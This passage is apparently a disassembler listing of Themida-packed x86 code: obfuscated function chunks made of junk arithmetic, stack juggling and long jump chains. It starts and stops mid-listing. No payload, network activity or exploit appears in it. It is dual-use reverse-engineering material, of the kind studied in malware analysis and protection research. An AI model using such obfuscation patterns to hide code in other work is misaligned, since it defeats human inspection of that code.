		push	54E2h
		mov	[esp+8+var_8], eax
		mov	eax, 76A45D51h
		add	eax, 895BA2B3h
		push	ebx
		mov	ebx, 767C7B8Fh
		jmp	loc_5AACDA
sub_5ABA9B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5ABAC0:				; CODE XREF: sub_5A91CF-BB7Cj
					; sub_59B48F+9D2Aj
		mov	edi, eax
		pop	eax
		sub	edi, 0CA8A97D1h
		or	ecx, edi
		pop	edi
		jmp	loc_5A7F5B
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598E15


loc_5ABAD1:				; CODE XREF: Themida_:005A2C76j
					; sub_598E15+13438j
		xor	eax, 27077D42h
		jmp	loc_5A11B1
; END OF FUNCTION CHUNK	FOR sub_598E15
; ---------------------------------------------------------------------------


loc_5ABADB:				; CODE XREF: Themida_:0059BF50j
		push	ecx
		push	54B4361Bh
		pop	ecx
		sub	ecx, 80D79D8h
		jno	loc_5A2D2E
		dec	ecx
		js	loc_59E190
		shl	ecx, 8
		add	al, 7Eh
		mov	al, 85h
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5ABAFC:				; CODE XREF: sub_59C53B-2B67j
		jbe	loc_5A34A1
		shr	edi, 2
		add	edi, 11E54942h
		and	edi, 66327B6h
		jg	loc_59F810
		jmp	loc_5AA1D4
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
		mov	cl, 5Ch
		not	cl
		push	ebx
		mov	bh, 72h

; =============== S U B	R O U T	I N E =======================================



sub_5ABB23	proc near		; CODE XREF: sub_59B707+1505j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005A0DBB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8EAC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ADE2A SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 0F6C50E7h
		xor	ebx, 327A367Dh
		jmp	loc_5A8EAC
sub_5ABB23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5ABB34:				; CODE XREF: sub_5A1B2A+1A9Aj
		mov	esi, 2D4447CBh
		neg	esi
		not	esi
		or	esi, 49EF66AAh
		jmp	loc_59D1CE
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5ABB48:				; CODE XREF: sub_59CA4A+8290j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59CA4A

; =============== S U B	R O U T	I N E =======================================



sub_5ABB4D	proc near		; CODE XREF: sub_5A393F+1BACj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	sub_5ABE52
sub_5ABB4D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ABB69:				; CODE XREF: sub_5A8C33+2CD1j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp+8+var_8]
		jmp	loc_5AE393
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5ABB7A:				; CODE XREF: sub_5AD8C7-5E37j
		neg	edi
		not	edi
		push	edx
		jmp	loc_5AD4A3
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------


loc_5ABB84:				; CODE XREF: Themida_:00598748j
		push	5CC7h
		jmp	loc_5A7AB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5ABB8E:				; CODE XREF: Themida_:00598B9Ej
					; sub_5986D6+11390j
		mov	al, 38h
		push	ecx
		jmp	loc_5ABC27
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------


loc_5ABB96:				; CODE XREF: Themida_:0059F54Cj
		pop	esp
		mov	[esp], ebx
		mov	bh, 0E3h
		inc	bh
		jz	loc_5A1BFC
		add	bh, 5Eh
		jmp	loc_5A7295
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A9DA4
; ---------------------------------------------------------------------------


loc_5ABBB5:				; CODE XREF: Themida_:0059A43Fj
		add	esp, 4
		sub	esi, 21461297h
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 351F429Fh
		mov	edi, 7F8D37E0h
		xor	edi, ecx
		pop	ecx
		dec	edi
		dec	edi
		or	edi, 7637B7h
		add	edi, 220FF97Fh
		add	esi, edi
		pop	edi
		sub	esi, 3EEF242Ah
		add	esi, ebx
		add	esi, 3EEF242Ah
		jmp	loc_59CFED
; ---------------------------------------------------------------------------


loc_5ABBFC:				; CODE XREF: Themida_:0059C80Ej
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		push	eax
		jmp	loc_59A1CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5ABC0A:				; CODE XREF: sub_59CA4A-2D21j
		not	esi
		shl	esi, 8
		sub	esi, 0D12D1F00h
		add	eax, 68AD190Bh
		sub	eax, esi
		sub	eax, 68AD190Bh
		pop	esi
		jmp	sub_59B333
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5ABC27:				; CODE XREF: sub_5986D6+134BBj
		push	5000h
		mov	[esp+18h+var_18], ebx
		mov	bl, al
		mov	ch, bl
		mov	ebx, [esp+18h+var_18]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A111C
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5ABC44:				; CODE XREF: sub_5A7343-48DEj
		xor	dl, 0A7h
		xor	dl, 8Fh
		sub	al, 77h
		sub	al, dl
		add	al, 77h
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		xor	dl, al
		jmp	loc_598236
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_5ABC60:				; CODE XREF: sub_5A9228-3AD1j
		pop	esp
		jmp	sub_5A8108
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5ABC66:				; CODE XREF: sub_59A932-179Cj
		mov	ecx, 0CDDB7Bh
		add	ecx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AEE51
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ABC78:				; CODE XREF: sub_5A8D43+4E0j
		push	1
		pop	edi
		and	eax, edi
		mov	edi, [esp+18h+var_18]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4D272B83h
		sub	esi, 16520470h
		jle	loc_599607
		xor	esi, 8FD4E4Dh
		jnb	loc_5A5F2E
		dec	esi
		sub	esi, 3E286959h
		sub	ecx, esi
		pop	esi


loc_5ABCB4:				; DATA XREF: Themida_:005978BCo
		mov	ax, [esp+1Ch+var_1C]
		push	ebp
		mov	ebp, esp
		jmp	loc_5AB380
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5ABCC0:				; CODE XREF: sub_59B3CE+104A6j
		mov	edx, 293C2E97h
		shr	edx, 3
		neg	edx
		and	edx, 7DD72D15h
		jmp	loc_5A0B4A
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------


loc_5ABCD5:				; CODE XREF: Themida_:005A5701j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		sub	ebx, 5321338Eh
		jmp	loc_59F18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5ABCEE:				; CODE XREF: sub_5AA46D+1D60j
		mov	edx, eax
		pop	eax
		mov	edi, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		push	389Eh
		mov	[esp+0Ch+var_C], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_59A273
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------


loc_5ABD13:				; CODE XREF: Themida_:0059CD4Fj
		inc	edx
		jg	loc_5ACBAC
		dec	edx
		jns	loc_5A39CC
		jg	loc_5A51DC
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5ABD28:				; CODE XREF: sub_599059+3D1Aj
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp+2+var_4+2]
		pop	esp
		sub	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		not	dword ptr [esp+0]
		mov	eax, [esp+0]
		add	esp, 4
		push	65E8h
		jmp	loc_5A50CF
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ABD60:				; CODE XREF: sub_5A8D43-ABDj
					; sub_5A91EC+32BAj
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		xor	esi, [esp+14h+var_14]
		xor	[esp+14h+var_14], esi
		xor	esi, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], ecx
		push	esp
		jmp	loc_59D9D8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5ABD79:				; CODE XREF: sub_5A94F5+BA6j
		mov	eax, [esp+0]
		add	esp, 4
		add	edi, ebp
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		push	edx
		push	edi
		sub	dword ptr [esp+0], 55684BA3h
		pop	edx
		add	edx, 55684BA3h
		push	ebp
		jmp	loc_5A3BAD
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A667A


loc_5ABDA0:				; CODE XREF: sub_5A667A+8j
		push	esi
		mov	esi, 165D3EBAh
		and	esi, 590B2BB9h
		add	esi, 0EFF6D54Ch
		add	edx, esi
		pop	esi
		jmp	loc_59D05B
; END OF FUNCTION CHUNK	FOR sub_5A667A
; ---------------------------------------------------------------------------


loc_5ABDBA:				; CODE XREF: Themida_:005A2F26j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	edx
		jmp	loc_599AA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5ABDD2:				; CODE XREF: sub_598D16-10D7j
		inc	edi
		jmp	loc_59AE0D
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEFD6


loc_5ABDD8:				; CODE XREF: sub_5AEFD6-13F22j
		push	dword ptr [esp+0]
		jmp	loc_5999EE
; END OF FUNCTION CHUNK	FOR sub_5AEFD6
; ---------------------------------------------------------------------------


loc_5ABDE0:				; CODE XREF: Themida_:0059B893j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		push	esi
		mov	esi, 4
		push	0A41h
		mov	[esp], ebx
		mov	ebx, 12561B03h
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_5A2E14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A879C


loc_5ABE1A:				; CODE XREF: sub_5A879C-3735j
		or	esi, 79C83E56h
		inc	esi
		inc	esi
		xor	esi, 237941FBh
		or	esi, 85D65ACh
		push	ebx
		mov	ebx, 47B58150h
		xor	esi, ebx
		pop	ebx
		jmp	loc_5AC856
; END OF FUNCTION CHUNK	FOR sub_5A879C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5ABE3C:				; CODE XREF: sub_59B707:loc_59F0B3j
		add	edx, 4ABED0Fh
		xor	edx, 74FD22D6h
		mov	ebx, edx
		mov	edx, [esp-10h+arg_C]
		jmp	loc_5A15AB
; END OF FUNCTION CHUNK	FOR sub_59B707

; =============== S U B	R O U T	I N E =======================================



sub_5ABE52	proc near		; CODE XREF: sub_5ABB4D+17j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 005983DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059929D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059931C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599C34 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B4B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059C148 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059D474 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059D8A5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DC6B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059EA48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F469 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F497 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059F501 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0D78 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A135E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A2CF2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A51DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5E81 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A8D1B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005ACEE3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD1A8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ADF15 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AE257 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AEDF9 SIZE 00000009 BYTES

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		push	edi
		push	ecx
		pop	edi
		mov	ecx, [esp+4+var_4]
		jmp	loc_59D474
sub_5ABE52	endp

; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 3E285DF9h
		sub	eax, 6CE97A25h
		push	ecx
		mov	ecx, 0CC501F8h
		not	ecx
		inc	ecx
		jmp	loc_5A1442
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6DA1


loc_5ABE82:				; CODE XREF: sub_5A6DA1-EAE2j
		pop	ebp
		add	esp, 4
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		sub	esp, 4
		mov	[esp+0], ebx
		add	dword ptr [esp+0], 0C022AB3h
		pop	dword ptr [ecx]
		sub	dword ptr [ecx], 0C022AB3h
		pop	ecx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		xor	edx, edx
		jmp	loc_5A755F
; END OF FUNCTION CHUNK	FOR sub_5A6DA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5ABEB4:				; CODE XREF: sub_5AC95F:loc_5A8EB4j
		shr	ebx, 3
		or	ebx, 2F26284Ch
		not	ebx
		jmp	sub_5ADB3A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ABEC4:				; CODE XREF: sub_5A8D43+2E0j
		pop	ebx
		jmp	loc_5A8946
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D5B


loc_5ABECA:				; CODE XREF: sub_599D5B+AE51j
		neg	ebp
		add	ebp, 7820677Eh
		sub	esi, ebp
		pop	ebp
		add	esi, ebp
		jmp	loc_5AADCA
; END OF FUNCTION CHUNK	FOR sub_599D5B
; ---------------------------------------------------------------------------


loc_5ABEDC:				; CODE XREF: Themida_:005A4F0Bj
		mov	eax, 5E170337h
		shl	eax, 7
		neg	eax
		and	eax, 4F414409h
		or	eax, 0D671072h
		xor	eax, 75D7CC5h
		xor	eax, 1C106A43h
		jmp	loc_5AA656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5ABEFF:				; CODE XREF: sub_5ACD64-1ECCj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	6067h
		jmp	loc_5AB454
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5ABF12:				; CODE XREF: Themida_:005AE44Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	ebx, eax
		jmp	loc_5ACFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5ABF2C:				; CODE XREF: sub_5A8D43-8D3Bj
					; Themida_:005AEA45j
		push	[esp+18h+var_18]
		push	dword ptr [esp+1Ch+var_1C]
		jmp	loc_5A8255
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5ABF37:				; CODE XREF: sub_5AB72D-13A95j
		sub	esi, 793D647Ah
		xor	esi, 9C1F034Eh
		mov	ecx, esi
		jmp	loc_5AC5FE
; END OF FUNCTION CHUNK	FOR sub_5AB72D

; =============== S U B	R O U T	I N E =======================================



sub_5ABF4A	proc near		; CODE XREF: sub_5A8C33+566Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00598383 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 00598BA3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00598C8D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599A8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059A5E1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A622 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C633 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059D03D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E2CC SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059E303 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059EB38 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0059ECB2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A0450 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0AD6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A0B82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0EB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1D19 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A27A8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A287C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3D78 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4C23 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5E1B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A616A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8BFA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A8FDE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9FC6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AAFD5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AB879 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AC8B7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005ACBDA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AE014 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 18FE4FDBh
		add	[esp+arg_0], ebp
		mov	ebp, [esp+0]
		jmp	loc_5A0B82
sub_5ABF4A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5ABF5C:				; CODE XREF: sub_5A95E0-26A7j
		pop	ecx
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_5AEFA2
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5ABF65:				; CODE XREF: sub_5AB1B9-61D1j
		pop	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 6ECF78FDh
		push	ecx
		mov	ecx, 643A6040h
		xor	ecx, 1B775257h
		xor	ecx, 48290E12h
		xor	ebp, ecx
		mov	ecx, [esp+10h+var_10]
		jmp	loc_5A6FAA
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------


loc_5ABF90:				; CODE XREF: Themida_:005A78D4j
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, 34D71D9Dh
		add	ebp, 0CB28E265h
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5ABFB6:				; CODE XREF: sub_599526+58A9j
		sub	ebp, ecx
		jmp	loc_5A3659
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5ABFBD:				; CODE XREF: sub_5A8C33-6AACj
					; Themida_:005A45FAj
		sub	ebx, 66680FB9h
		inc	ebx
		neg	ebx
		jmp	loc_59C329
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5ABFD3:				; CODE XREF: sub_59CA4A+B79Dj
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	edi
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 46271D1Fh
		jmp	loc_5A796D
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5ABFE9:				; CODE XREF: sub_59D24A+5873j
		push	[esp+6+var_4+2]
		pop	esi
		pop	[esp+6+var_8+2]
		pop	esp
		push	0C0Bh
		jmp	loc_5A6463
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5ABFFC:				; CODE XREF: sub_59C53B+89j
					; sub_5A41D6+F6Aj
		add	esp, 4
		push	edx
		push	ecx
		jmp	loc_5A5B18
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5AC006:				; CODE XREF: sub_59D180+10634j
		sub	eax, 2B4049D4h
		jmp	loc_59C669
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5AC010:				; CODE XREF: sub_5ADDF8-B568j
		sub	ebx, 4
		jmp	loc_5A700C
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------


loc_5AC01B:				; CODE XREF: Themida_:00599DCDj
		push	7F69h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 7F2158CEh
		jmp	loc_59BACA
; ---------------------------------------------------------------------------


loc_5AC035:				; CODE XREF: Themida_:005A3F2Cj
		add	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	1886h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_598267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC057:				; CODE XREF: sub_5A8C33+4550j
		add	edx, 0C4BE3954h
		jmp	loc_59B795
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5AC062:				; CODE XREF: sub_5987D8+9CDj
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_5AC8D1
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AC07B:				; CODE XREF: sub_59B707+860Dj
		push	[esp+1Ch+var_1C]
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		push	21C4h
		mov	[esp+20h+var_20], ebp
		push	esp
		jmp	loc_5A2FA9
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AC095:				; CODE XREF: sub_5A8C33:loc_5991EFj
					; sub_5A5F8D:loc_5ACCCBj
		add	esi, 0FF8CE5A8h
		mov	ebx, esi
		pop	esi
		sub	[esp+18h+var_14], 28EC6DE5h
		add	[esp+18h+var_14], ebx
		add	[esp+18h+var_14], 28EC6DE5h
		pop	ebx
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+10h+var_10]
		xor	[esp+10h+var_10], ecx
		xor	ecx, [esp+10h+var_10]
		pop	esp
		push	edi
		jmp	loc_5AA44F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5AC0CD:				; CODE XREF: sub_5A728F+1j
		mov	ebx, 0B75794CEh
		jmp	loc_5A3D2D
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AC0D7:				; CODE XREF: sub_5ACD64+2232j
		xchg	eax, [esp-4+arg_0]
		jmp	loc_5A9C3F
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5AC0DF:				; CODE XREF: sub_5AD830-264Aj
					; sub_5AD830:loc_5AC0DFj
		jmp	loc_5AC0DF
; END OF FUNCTION CHUNK	FOR sub_5AD830
; ---------------------------------------------------------------------------


loc_5AC0E4:				; CODE XREF: Themida_:loc_5A7204j
		jmp	loc_5A1F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E640


loc_5AC0E9:				; CODE XREF: sub_59E640-69DDj
		pop	ebp
		shr	ebp, 3
		add	ebp, 7AA1053Dh
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 7CCF4A58h
		sub	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5A4201
; END OF FUNCTION CHUNK	FOR sub_59E640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AC111:				; CODE XREF: sub_5AC95F-98CBj
		dec	eax
		jmp	loc_5A5F41
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5AC117:				; CODE XREF: Themida_:0059BB94j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	ebx, 710951CAh
		add	ebx, ecx
		push	ecx
		mov	ecx, 18F91227h
		add	ecx, 6E1B19D8h
		push	ebp
		push	ebx
		mov	ebx, 4B947227h
		mov	ebp, ebx
		jmp	loc_59D346
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5AC148:				; CODE XREF: sub_598D16+20FDj
					; sub_5A8D43+4F35j
		pop	ecx
		sub	bl, 65h
		push	small 3E59h
		mov	word ptr [esp+12h+var_14+2], ax
		mov	ah, 0Ah
		sub	bl, 99h
		add	bl, ah
		add	bl, 99h
		mov	ax, word ptr [esp+12h+var_14+2]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_5AC16D:				; DATA XREF: Themida_:0059787Co
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_5A3796
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB22


loc_5AC177:				; CODE XREF: sub_59BB22+9440j
		sub	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4B3D57E4h
		push	esi
		mov	esi, 592C2F86h
		add	ebx, esi
		pop	esi
		sub	ebx, ebp
		jmp	loc_5A167F
; END OF FUNCTION CHUNK	FOR sub_59BB22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


